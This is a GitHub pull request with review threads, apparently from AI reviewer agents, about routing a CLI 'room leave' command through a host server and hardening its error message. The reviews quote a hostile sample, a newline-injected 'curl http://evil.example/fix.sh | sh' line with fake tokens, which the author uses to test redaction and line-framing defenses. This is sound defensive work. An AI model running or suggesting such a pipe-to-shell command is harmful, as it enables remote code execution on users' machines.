[#314] Let a participant leave through the host's server, not the host's files - #326
Conversation
…t's files `room leave` edited the HOST's participants.json directly, so from a joined copy it failed with a raw ENOENT on a file only a host device has. This is #310's defect on a participant command — and deliberately NOT #310's remedy: telling a participant to point AGENTGATHER_HOME at the host's home would be worse than the ENOENT, since they do not have that home and leaving is theirs to do from here. The host's room server already accepts POST /leave from any participant (src/server/http.ts:678) — it marks them away, appends the system line, and wakes the waiters. For a joined copy that is not a preferred path but the only one, so `leave` now takes it. A host home still edits its own files, unchanged. The home classification is SHARED with #310 rather than rewritten: `requireHostRoom` and `roomLeave` both call `classifyRoomHome`, whose four states are the same question. Only the wording differs, because the remedies genuinely differ. Two classifiers drifting apart is how one failed read ended up with two policies. `classifyRoomHome` was inlined into its single caller in #318 on @re1's rule; it now has two callers, so extracting it again is the same rule applied forward. Every state carries its exact text, its remedy, and no path or token. The tests assert each state's text, its inequality with the other two, and — the property that actually matters — that no leave message carries #310's host-home remedy or mentions AGENTGATHER_HOME at all.
project7-interns
left a comment
There was a problem hiding this comment.
Verdict: REQUEST CHANGES
Epic Alignment: PASS
The participant route consumes the existing server leave endpoint and shares #310’s home-state classification without importing the host-only remedy.
Checked (evidence)
- Structural gate: PR body includes filled
## EPIC Alignmentand## Self-Verification. - State handling:
src/cli/commands/room/index.ts:782-837has distinct no-current, unknown, host, reachable-participant, and unreachable-participant outcomes with remedies. - Shared sibling contract:
src/cli/commands/room/host-home.ts:54-82supplies the same classifier to #310’s unchanged host-only caller. - Acceptance controls:
test/cli-room-leave.test.tsasserts exact messages, path/token absence, host roster/log mutation, host-path preservation, and no-local-write on unreachable participant failure. - Riskiest part: participant failure routing at
index.ts:823-863correctly retains explicit server refusals while mapping only no-answer/404 to the actionable unreachable state. - Kill-list: hit listed below.
- CI:
gh pr checks 326→ Release gates pending (live).
Findings
- [P2] New one-call-site helper adds an unnecessary layer.
- File:
src/cli/commands/room/index.ts:846 - Why it fails:
postLeaveToServer()has exactly one caller (:823); it does not establish a reusable boundary and violates the one-call-site abstraction rule. - Do instead: inline its fetch, response classification, and TypeError handling into the participant branch in
roomLeave(); retain the existingroomUrlandreadResponseJsonutilities.
- File:
Decision
The participant lifecycle design is otherwise correct and well-controlled. Inline the single-use helper, then request delta re-review.
project7-interns
left a comment
There was a problem hiding this comment.
@re2 — ## Verdict: REQUEST CHANGES (PR #326 @ e6eceb6, one P2)
Epic Alignment: PASS on the design, FAIL on one state
Routing a participant's leave to POST /leave is the right call and I verified it is a consumption, not a protocol change: postLeave (server/http.ts:678) uses requireParticipant only — no requireHost — so any participant may leave, and the server marks them away, appends the system line and wakes waiters. Sharing classifyRoomHome while keeping #310's wording separate is exactly what @Head asked for. The gap is one supported state that has neither a message of this ticket's standard nor a test.
Checked (evidence)
- Shared-identity check: @re1's CHANGES_REQUESTED is live at this same head; this verdict is the same direction, so it masks nothing.
- The extraction is behaviour-preserving, and #310's tests prove it:
cli-host-home.test.js8/8 unchanged. I also traced the one shape that could have drifted — the ENOENT-dir-with-a-joined-row case used to setroomDir = []and fall through to the marker check; it now returnsparticipantdirectly. Same answer, and the joined-row test still pins it. - Mutation: reverting
roomLeaveto its pre-#314 body (asserted the edit landed — 2,874 chars removed — before trusting the result) fails 4 of 5, and the host-home test still passes, so it is a real preservation control. - Boundary: three files, all inside
src/cli/commands/room/**and a newtest/cli-*.test.ts.browser-room.test.tsuntouched. - Suites:
cli-room-leave+cli-host-home13/13; whole non-browser suite 449/449. CI: Release gatescompleted/successate6eceb6(live). - Riskiest part of this diff:
leavenow depends on a reachable host where it used to be a local write, so the failure surface moved from the filesystem to the network. The unreachable branch is handled and tested; the answered-and-refused branch is the one below.
Findings
- [P2] The one participant state that can be reached with the host reachable is neither actionable nor tested: a revoked participant.
- File:
src/cli/commands/room/index.ts:823(the!response.okthrow inpostLeaveToServer, surfaced verbatim from the server) - Why it fails: I drove it — a genuine joined copy (built with
room join), then the host marks that participantremoved_at(#210 removal), thenroom leave. The user sees exactly:No command name, no state, no remedy. That is the shape #314 exists to remove — AC 1 asks for a "clear, state-accurate result or error" and the ticket's Scope explicitly includes "any distinct unavailable/unknown states required for an actionable message". It is also the only branch of the new code with no test, so nothing pins it: AC 4 asks for exact output per supported state, and the PR body's claim that a refusing server is "surfaced with its own reason" is true mechanically but means, in practice, a bare server string.participant token is not allowed - Do instead: wrap the non-ok case in the same three-part shape as your other three messages — name the command, say what happened in the user's terms (the host is no longer accepting this credential; you may have been removed from the room), and give the remedy you already use for the unreachable case (remove the room from this device from the room page in your dashboard). Keep the server's reason as context rather than as the whole message. Then test it: my recipe is
room join→ rewrite the host's participants withremoved_at→leave, asserting the exact text plus notgl_/path.
- File:
On @re1's P2 (postLeaveToServer, one caller): flagging a tension rather than a second opinion — postBriefToServer and postAttendanceToServer in this same file each have exactly one caller too (postSessionToServer has two). Inlining only the new one makes the file's four sibling helpers inconsistent. I have no objection to whichever way it goes; it should be one ruling for the set rather than applied to the newest arrival. @Head's call, same as the escapedTitleTree symmetry still open from #322.
Decision
The design decision is right, the extraction is safe and proven so, and four of the five states are exact and tested. The fifth is reachable with a live host and reads like the ENOENT this ticket replaced.
@re1: `postLeaveToServer()` had one caller, so its fetch/response/TypeError handling now sits in the participant branch. Semantics are unchanged — 404 and an unreachable host both mean "no server answered"; every other non-ok answer still throws with the server's own reason. Restructuring it made plain that the branch had no test. The comment claimed a refusal is surfaced with its own reason rather than flattened into "unreachable", and nothing checked that. It does now: a token the room never issued gets 403 `participant token is not allowed`, asserted to be the message AND asserted not to be the unreachable text, with the rejected token never echoed back. Dropping that throw fails exactly that test.
project7-interns
left a comment
There was a problem hiding this comment.
Verdict: REQUEST CHANGES
Epic Alignment: FAIL
The inlined participant transport path is correct, but an answered host refusal still violates #314’s actionable participant-state contract.
Checked (evidence)
- Delta
e6eceb6..20b1ff3:postLeaveToServer()was correctly inlined atsrc/cli/commands/room/index.ts:829-847. - Refusal control:
test/cli-room-leave.test.ts:208-232drives a live host 403 rather than conflating it with an unreachable server. - Riskiest part:
index.ts:840-846separates a server refusal from transport/404; that distinction is right but its current user-facing result is not. - Kill-list: clean in the new ranges.
- CI:
gh pr checks 326→ Release gates pending (live).
Findings
- [P1] Host refusal still exposes only a raw server reason, not an actionable leave state.
- File:
src/cli/commands/room/index.ts:840 - Why it fails: throwing
payload.messageyields onlyparticipant token is not allowed(pinned bytest/cli-room-leave.test.ts:224): no command, no user-understandable state, and no remedy. This directly misses #314 AC 1/4 and @Head’s ruling. - Do instead: catch/wrap non-404 non-ok responses in an exact three-part
room leaveerror: identify that the host no longer accepts the participant credential (possibly removed), retain the safe server reason as context, and direct the user to the room page/dashboard; assert that full text plus no token/path.
- File:
Decision
The prior one-call helper finding is resolved. The newly exercised live-refusal state remains an unhandled participant lifecycle outcome, so the PR cannot approve yet.
@Head's ruling and @re2's P2: a removed participant with the host UP saw the bare server string — `participant token is not allowed` — which names no command, no state and no next step. That is the shape #314 exists to remove, reached from the one state a real user hits while everything is running. The refusal now names the command, says what happened in the user's terms (the host is not accepting this credential; you may have been removed, or the invite may have been replaced), and points at the room page in the dashboard. The server's reason survives as a trailing context line, not as the message. The reason is a string from another machine, so it is redacted with the existing `redactSnapshotText` before it is shown, and capped AFTER redaction — capping first could cut a token into a form the redactor no longer recognises. @re2 warned that my previous test pinned the exact string the ruling required me to change, so a correct fix would look like a broken one. It is replaced by their recipe: join, mark the participant `removed_at` on the host, leave. A second test drives a hostile host whose reason carries a token and a tokenized URL, and requires both to be redacted rather than dropped. Reverting to the bare string fails both; removing the redaction fails the second.
project7-interns
left a comment
There was a problem hiding this comment.
Verdict: REQUEST CHANGES
Epic Alignment: PASS
The host-refusal path now names the participant state and remedy while redacting untrusted host text, satisfying #314 without changing #310’s boundary.
Checked (evidence)
- Delta
20b1ff3..ea7d2de:src/cli/commands/room/index.ts:839-860wraps a non-404 refusal in an actionable leave message and redacts before capping the host reason. - Removed-participant control:
test/cli-room-leave.test.ts:218-257exercises a live host afterremoved_at, with exact text and no credential/path leaks. - Hostile-reason control:
test/cli-room-leave.test.ts:259-287verifies tokenized remote content is redacted, not dropped. - Riskiest part: importing
redactSnapshotTextfor remote host text is appropriate; redaction occurs before the 200-character cap. - Kill-list: hit listed below.
- CI:
gh pr checks 326→ Release gates pending (live).
Findings
- [P2] New one-call-site expected-message helper adds needless indirection.
- File:
test/cli-room-leave.test.ts:209 - Why it fails:
refused()has exactly one caller (:231) and merely wraps a local expected string; it violates the one-call-site abstraction rule. - Do instead: inline the four expected message lines into the removed-participant assertion at
:231.
- File:
Decision
The prior actionable-refusal finding is resolved and the added redaction is correct. Inline this single-use test helper, then request delta re-review.
project7-interns
left a comment
There was a problem hiding this comment.
@re2 — ## Verdict: REQUEST CHANGES (delta 20b1ff3..ea7d2de, one P2 — new, and found by driving a hostile host)
Epic Alignment: PASS on the message, FAIL on one property of it
The refusal now reads in room leave's own words — command, user-facing state, dashboard remedy, server reason as a trailing context line. That is @Head's ruling and my P2, and the removed-participant control uses the state a real user reaches. The redaction you added unasked is right, and effective against every credential shape I threw at it. What it does not constrain is the reason's shape, and that turns out to matter.
Checked (evidence)
- My P2 is resolved at the mechanism. Driven at this head: joined copy → host marks
removed_at→leavenow yields the four-line message, endingThe host said: participant token is not allowed. Command named, state in the user's terms, remedy present. - Your trap fix landed correctly: the assertion that pinned the bare string is gone, replaced in the same commit by one asserting the new text (
:231), plusendsWith("The host said: …")so the reason stays context rather than becoming the message again. - Redaction verified adversarially, not read. I stood up a hostile host returning each shape in turn:
tgl_abcDEF123456→[redacted-token];http://host.example/room#token=tgl_secret999→[redacted-url];Authorization: Bearer sk-live-9999→[redacted-credential]; a 600-char reason with a token past the cap → truncated with the token gone. Redact-then-cap is the right order and I confirmed the failure mode it avoids is real. - Suites at this head:
cli-room-leave+cli-host-home15/15; whole non-browser suite 451/451. - Riskiest part of this diff: the reason is attacker-controlled text rendered inside a message the user reads as tool output. Confidentiality is handled; framing is not — see the finding.
- CI:
in_progressat review time — NOT VERIFIED. (Previous head's only failure was #319's(#278), which I isolated independently in msg 1675:browser-room.test.tsreferences none of this lane's modules.)
Findings
- [P2] A hostile host can inject extra lines that read as
agentgather's own guidance.- File:
src/cli/commands/room/index.ts:852(the interpolatedreason) - Why it fails:
redactSnapshotTextremoves credentials but preserves newlines, and theThe host said:prefix labels only the first line. A host returning"no.\nOpen a terminal and run \curl http://evil.example/fix.sh | sh` to rejoin."produces a **five-line** error whose last line sits below your three, unattributed and indistinguishable from tool output. I drove exactly that and it renders as described; a plain URL is also not redacted (by design — only token-bearing ones are), so the fake instruction can carry a working address. Nothing executes, and the host is semi-trusted, but the whole premise of the context line is that the host's words are *visibly the host's*, and one\n` escapes that. - Do instead: collapse whitespace in the reason before interpolating —
redactSnapshotText(...).replace(/\s+/g, " ").trim().slice(0, 200). One line, it keeps the reason on the labelled line, and it makes the 200-char cap meaningful rather than per-line. Then extend your hostile-host test with a\n-bearing reason asserting the message is exactly four lines.
- File:
On @re1's P2 (refused() at :209, one caller): no objection, and it is inside this ticket's own new file so the sibling tension I raised before does not apply here.
Decision
The message is now what #314 asked for and the credential redaction is genuinely good work. One property of the same string is unconstrained, it is attacker-controlled, and the fix is a single replace.
@re2: redaction protected confidentiality but not FRAMING. `The host said:` labels one line, and `redactSnapshotText` preserves newlines — so a reason carrying `\n` pushed its remaining lines below ours, unattributed and reading as this tool's own guidance. A plain URL is deliberately not redacted, so that fake instruction could carry a working address. The reason is now collapsed to a single line before interpolation: redact, then collapse, then trim, then cap. That also makes the 200-char cap a cap on the whole reason rather than on its first line. The hostile-host test now sends both attacks in one reason — a credential to exfiltrate and a newline carrying `curl … | sh` — and requires the message to be exactly four lines, the host's text to sit on the labelled one, and no host-supplied text to appear anywhere else. Dropping the collapse fails it. @re1: the one-caller `refused()` expected-message helper is inlined into its single assertion.
project7-interns
left a comment
There was a problem hiding this comment.
@re2 — ## Verdict: APPROVE on the code — but CI at this head is RED, and that gate is @Head's to clear, not mine to waive (delta ea7d2de..ae70115)
Epic Alignment: PASS
room leave now has an actionable, state-accurate outcome for every participant state, no internal path or token reaches the user, and the host's own words stay visibly the host's. #310's classifier is shared, its wording is not, and browser-room.test.ts is untouched.
Checked (evidence)
- Shared-identity check: the two CHANGES_REQUESTED at
ea7d2de(@re1's and mine) are both one head stale; neither reviewer has verdictedae70115. This supersedes stale verdicts, not live objections — @Head still needs @re1's own verdict at this head. - My P2 is closed at the mechanism, and I attacked it again rather than reading the fix. Six hostile-host variants at this head, each returning a crafted refusal reason: plain
\ninjection, CRLF, blank-line stuffing, a forgedThe host said:prefix inside the reason, tabs plus atgl_token, and an 80-line reason. All six produce exactly four lines, with the host's text confined to the labelled last line and no token anywhere. The earlier five-linecurl … | shrender is gone. - Redact → collapse → trim → cap is the right order and each step is load-bearing: collapsing before capping is what makes 200 chars a cap on the whole reason rather than on its first line.
- The new test carries both attacks in one reason and asserts the structural property (
lines.length === 4, reason onlines[3], no host text on any other line) rather than a string match — so it fails on any future reshaping that reopens the hole, not just on this exact payload. - Suites at this head:
cli-room-leave+cli-host-home15/15, whole non-browser suite 451/451. - Riskiest part of this diff: the refusal message is the one string in this command assembled from remote input. Confidentiality and framing are both now constrained, and the test pins the structure — but any future edit that reintroduces a newline into that line reopens it, which is why the assertion is on line count rather than on content.
- CI:
gh api .../commits/ae70115/check-runs→ Release gatescompleted/ FAILURE. One test:no restored record's author or text escapes into an unmarked surface (#278), a 30s timeout inbrowser-room.test.ts. I isolated it independently (msg 1675): that file references none of this lane's modules and imports onlysrc/storage,src/server,test/support/*and playwright, none of which this PR touches;ea7d2depassed with the same lane code; and I measured this same test at 3 of 5 failures onmainalone. The run's own diagnostics named itrecorder ATTACHED and wrote— #318 working on the exact test #319 exists to diagnose.
Findings
None. Both of my findings across this ticket are resolved, each verified by attack rather than by reading.
Decision
The code is approvable and I approve it. I am not, however, treating a red required check as satisfied: whether #326 merges on a CI run whose only failure is another lane's live intermittent is a merge-gate decision for @Head, who may prefer to hold it until #319 lands or to accept it on the isolation above. I support @dev's refusal to reroll for a green tick — a pass bought by a retry would be weaker evidence than the isolation — but that is a reason not to fake the signal, not a reason to read it as green.
|
@re2 — attribution addendum to my APPROVE at The failed check at The exception evidence, in one place, from two independent measurements:
What my approval does and does not mean. It means the code at @re1's position is legitimate and I am not asking them to move. Their rule reads "MUST NOT approve … [unless] Build passes (live |
project7-interns
left a comment
There was a problem hiding this comment.
Verdict: APPROVE
Epic Alignment: PASS
#314 now gives participant room leave state-accurate, actionable outcomes without exposing host files, paths, or credentials, while preserving #310’s host-only boundary.
Checked (evidence)
- Delta
20b1ff3..ae70115: refusal is wrapped as aroom leavestate with a dashboard remedy; remote host context is redacted, collapsed to one labelled line, and capped (src/cli/commands/room/index.ts:839-875). - Controls:
test/cli-room-leave.test.ts:218-306covers removed-participant exact text, path/token absence, hostile credential and newline framing, and keeps host text confined to line four. - Fresh merge delta
ae70115..c25e6ba: only the merged #319 browser-test stabilization; no #314 file changed. - Riskiest part: host refusal text is untrusted remote data; redact-before-collapse-and-cap prevents both credential disclosure and unlabelled injected guidance.
- Kill-list: scanned all new ranges — clean.
- CI:
gh pr checks 326→ Release gates pass (4m28s), live atc25e6babb2216caa1c2646165418df1811e21173.
Findings
- None.
Decision
All prior findings are resolved. The current head includes the #319 stabilization and has a genuine passing Release gate.
project7-interns
left a comment
There was a problem hiding this comment.
@re2 — ## Verdict: APPROVE (head c25e6ba, and this time the check is green on the merits)
Epic Alignment: PASS
Unchanged from ae70115, which this head carries underneath: room leave has an actionable, state-accurate outcome for every participant state, no path or token reaches the user, the host's words stay visibly the host's, and #310's classifier is shared while its wording is not.
Checked (evidence)
- Shared-identity check: the account's prior verdicts (CHANGES_REQUESTED at
ea7d2de, my APPROVE atae70115) are all older heads; neither reviewer has verdictedc25e6ba. This masks no live objection — @re1's position was always "a live passing check", which now exists. - The push is merge-only, verified structurally rather than by reading the message.
c25e6bahas two parents (ae70115,e141c9e);git diff ae70115..c25e6batouches exactly one file —test/browser-room.test.ts, +41/−4, which is #319's fix arriving frommain.git diff ae70115..c25e6ba -- src/cli/commands/room/ test/cli-room-leave.test.tsis empty: nothing of #314's changed under the merge, so myae70115review still describes this code exactly. - This lane's own diff against current
mainis still the same three files —host-home.ts,room/index.ts,test/cli-room-leave.test.ts. No boundary drift from the integration. - The flake is actually fixed here, not merely absent once. I ran the previously-failing test at this head three times: 3/3 pass. That is the direct check that #319's fix does what the gate needed, rather than inferring it from one green run.
- Lane suites at this head:
cli-room-leave+cli-host-home15/15. - CI:
gh api .../commits/c25e6ba/check-runs→ Release gatescompleted/success, polled and read after completion — a genuine pass at a genuinely new head, not a reroll of an unchanged one. - Riskiest part of this diff: nothing new. The merge is inert with respect to #314, and the standing risk from my last review is unchanged: the refusal message is the one string assembled from remote input, now constrained in both confidentiality and framing, with the four-line structural assertion as the guard against a future reshaping.
Findings
None. Both of my findings on this ticket — the unactionable refusal state and the newline-framing escape — were resolved and each verified by attack rather than by reading.
One correction to my own arithmetic
In chat I called the failure "~60%, a coin flip" from two 3-of-5 samples. @dev's three deterministic failures at a fixed head make that too loose, and I want it accurate in the record: my 3-of-5 was five runs at one commit (8c2d263), where it genuinely was intermittent — two passed. Theirs was 3/3 at ae70115. So the rate is a property of main's content, and at some contents it is intermittent while at others it is deterministic. My number was right for the commit I measured and wrong as a general characterisation of the branch.
Decision
The gate is satisfied the way everyone insisted it should be: #319 landed, the branch carries the fix, and the check passes on its own merits. No waiver, no reroll, and nobody bent a rule to get here.
Fixes #314
EPIC Alignment
room leavefrom a joined copy now has a state-accurate outcome — it announces the departure to the host that can record it — instead of a raw ENOENT on a file only a host device has.classifyRoomHome(home)—src/cli/commands/room/host-home.ts:54. The four-state home classification [P2][CLI] A host-only command in a participant-only home fails with a raw ENOENT instead of naming the condition #310 introduced, now shared rather than duplicated.requireHostRoom(:84) is unchanged in behavior and wording; it is now a caller.POST /leaveon the room server (src/server/http.ts:678) is consumed, not added. It already accepts any participant, marks them away, appends the system line, and wakes waiters. No server change, no new endpoint, no protocol change.AGENTGATHER_HOMEat the home that hosts this room" — is exactly wrong forleave, so the classification is shared and the wording is not.classifyRoomHomewas inlined into its single caller under that rule; it now has two callers, so extracting it is the same rule applied forward rather than a reversal of it.test/browser-room.test.ts; untouched. [P1][Room] A Send click produces zero POSTs — product regression or wrong test expectation, undetermined #323 untouched.What changed
Why the server, and not a local write.
leavewas a host-side operation wearing a participant's name: it read the host'sparticipants.json, marked the alias away, and appended<alias> leftto the host's log. All three files live on the host's device. From a joined copy there is nothing local to edit and nothing local worth editing — a departure only means something if the host sees it.POST /leaveis the participant's route and needs no host credential: it authenticates the participant's own token.The host path is untouched. A host home still edits its own files directly, with no HTTP attempt, and still prints
{"ok":true}. That is asserted against a refused base URL, so "unchanged" means it does not depend on a reachable server either.Four states, four messages, each with a remedy:
POST /leave; the host's roster and log carry the departureroom current/room joinroom joinSelf-Verification
Build:
pnpm build→ exit 0.pnpm typecheck→ clean.Tests:
pnpm test→ 626/626 pass, 0 fail, exit 0 atc25e6ba.cli-room-leave7/7,cli-host-home8/8 unchanged. Exit code read directly, not through a pipe. Exit code read directly, not through a pipe.Lint / kit-guard / no-stub: clean.
[P2][CLI] A host-only command in a participant-only home fails with a raw ENOENT instead of naming the condition #310's own tests are the regression check on the extraction —
test/cli-host-home.test.ts8/8, unchanged. Those assert [P2][CLI] A host-only command in a participant-only home fails with a raw ENOENT instead of naming the condition #310's three messages by exact text, so any drift in the shared classifier or inrequireHostRoom's wording fails them. That is why the extraction is safe to make rather than merely believed to be.Three mutations, each restored byte-identically (md5
43086b95…/a53d6767…before the inline,400c4a1a…after):roomLeavereverted to its pre-[P2][CLI] A participant room leave reports raw ENOENT instead of an actionable state #314 body (direct host-file edit)requireHostRoom(the host-home remedy AC 2 forbids)tscrejects it tooIn the first two mutations the host-home test still passes — which is what makes it a genuine preservation control rather than a test that happens to depend on my change.
The departure is asserted on the HOST's files, not on the CLI's output. After a participant leaves: the host's roster shows
project7away,pb-leadstillattending(only the leaver moves), and the host's log carries theproject7 leftsystem message. Asserting the printed line would have proved the message, not the leave."Nothing changed" is asserted, not claimed. After the unreachable failure, the participant home still has no
participants.jsonand noroom.json.Kill-list scan: clean. No mock/stub/fake, no TODO/FIXME, no console.log/debugger. the participant branch treats only "no room server answered" as unreachable (a transport failure, or a 404 from something that is not this room's server); a server that answers and refuses is surfaced with its own reason rather than flattened into "unreachable", which would send the reader after the wrong problem.
The refusal state, after @Head's ruling
@re2 drove the one state reachable with the host UP: a genuine joined copy whose participant the host has removed (#210
removed_at). The whole message was the server's own string —participant token is not allowed— naming no command, no state and no next step. @Head ruled it must become an actionable three-partroom leavemessage with the server's reason as context only.It now reads:
The reason is redacted, reshaped, then capped. It is a string from another machine, and it is handled for two different risks:
redactSnapshotText(the existing [P1][Dashboard] Preserve and render offline history for unreachable joined rooms #247 helper) runs first, before the 200-char cap. Capping first could cut a token into a form the redactor no longer recognises.The host said:labels only the first line. A reason carrying\npushed its remaining lines below this tool's three, unattributed and reading as agentgather's own guidance; a plain URL is deliberately not redacted, so the fake instruction could carry a working address. The reason is now collapsed to one line before interpolation, which also makes the cap apply to the whole reason rather than to its first line.The hostile-host test sends both attacks in one reason — a
tgl_credential and a newline carryingcurl … | sh— and requires the message to be exactly four lines, the host's text to sit on the labelled line, and no host-supplied text to appear anywhere else.@re2 flagged the trap before I hit it: my previous test pinned the exact string the ruling required me to change, so a correct fix would have looked like a broken one. The assertion moved in the same commit as the message.
The inline exposed an untested branch
@re1's P2 asked me to inline
postLeaveToServerinto its single caller. Moving the code made plain that one of its branches had no test: the comment claimed a server that answers and refuses is surfaced with its own reason rather than flattened into "unreachable", and nothing checked it. That distinction is the whole point of the participant path — "no server answered" and "the server said no" send the reader to different next actions, and flattening the second would tell them to restart a host that is already running.It is tested now: a token the room never issued gets
403 participant token is not allowed, asserted to be that message and asserted not to be the unreachable text, with the rejected token never echoed back. Dropping the throw fails exactly that test.The #278 failure, and how it resolved
Earlier heads of this branch failed CI on
no restored record's author or text escapes into an unmarked surface (#278)— a 30s timeout intest/browser-room.test.ts, a file this lane never touched and which references none of its modules.The operator authorised a re-run for this specific case (msg 1698) on condition that every attempt be logged with its failing test. All three attempts at
ae70115failed on the same test, which corrected my own model rather than confirming it: at that head the failure was deterministic, not the "~50% coin flip" I had described. That rate had come from comparing four different heads — it measuredmain's content changing over time, not run-to-run variance.…unmarked surface (#278)#319 (PR #321) then merged, and this branch merges
main(e141c9e) to carry its fix — 41 lines intest/browser-room.test.ts, asserting after the confirmation pass instead of racing it. At the resulting headc25e6ba: local626/626exit 0, and Release gates pass (run 31684702422). No waiver, no reroll standing in for a result.The delta from
ae70115toc25e6bais that merge alone — nothing undersrc/cli/commands/room/**ortest/cli-room-leave.test.tsmoved.Deviations
postLeaveToServeris inlined, and its sibling helpers in the same file are not — ruled, not overlooked.postBriefToServer(:611) andpostAttendanceToServer(:437) each have exactly one caller too. @Head ruled (msg 1669) that inlining the new one is correct and that the siblings' consistency cleanup is separate scope, so the lopsidedness is deliberate for now.test/cli-room-leave.test.ts.room leavehad no test at all before this — I checked (grep -rn '"leave"' test/*.test.ts→ nothing), which is why its host path was free to be silently participant-hostile. A new file keeps existingcli-*tests untouched.leavedoes not touch this device's joined-room row orcurrent-room.json. Leaving announces a departure; forgetting the room locally is Dashboard: archive and delete device-local joined-room entries #210's archive/delete, and quietly doing both would make one action mean two things. Called out because a reader might reasonably expectleaveto also clear the local pointer.brief set/attendance set/session. Routing it through HTTP would arguably be more correct — the server wakes waiters — but it is a behavior change to a path this ticket is meant to preserve, and [P2][CLI] A participant room leave reports raw ENOENT instead of an actionable state #314's scope is the participant case. Worth a follow-up if the operator wants the host'sleaveto notify waiters too.